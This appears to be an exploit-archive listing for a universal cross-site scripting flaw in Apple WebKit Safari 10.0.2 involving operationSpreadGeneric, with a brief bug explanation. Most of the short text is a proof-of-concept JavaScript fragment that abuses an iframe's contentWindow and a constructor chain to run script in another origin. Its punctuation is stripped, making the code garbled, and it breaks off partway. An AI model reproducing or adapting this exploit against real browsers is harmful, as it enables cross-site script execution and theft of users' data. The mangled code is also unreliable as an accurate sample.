Apple WebKit Safari 10.0.2(12602.3.12.0.1) - operationSpreadGeneric Universal Cross-Site Scripting

Apple WebKit Safari 10.0.212602.3.12.0.1 - operationSpreadGeneric Universal Cross-Site Scripting 'use strict'; function spreada return ...a; let arr = Object.create1, 2, 3, 4; for let i = 0; i f.onload = null; try spreadf.contentWindow; catch e e.constructor.constructor'alertlocation'; ; f.src =...

WebKit: UXSS via operationSpreadGeneric

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation. It seems that that optimization is not implemented to the release version of Safari yet...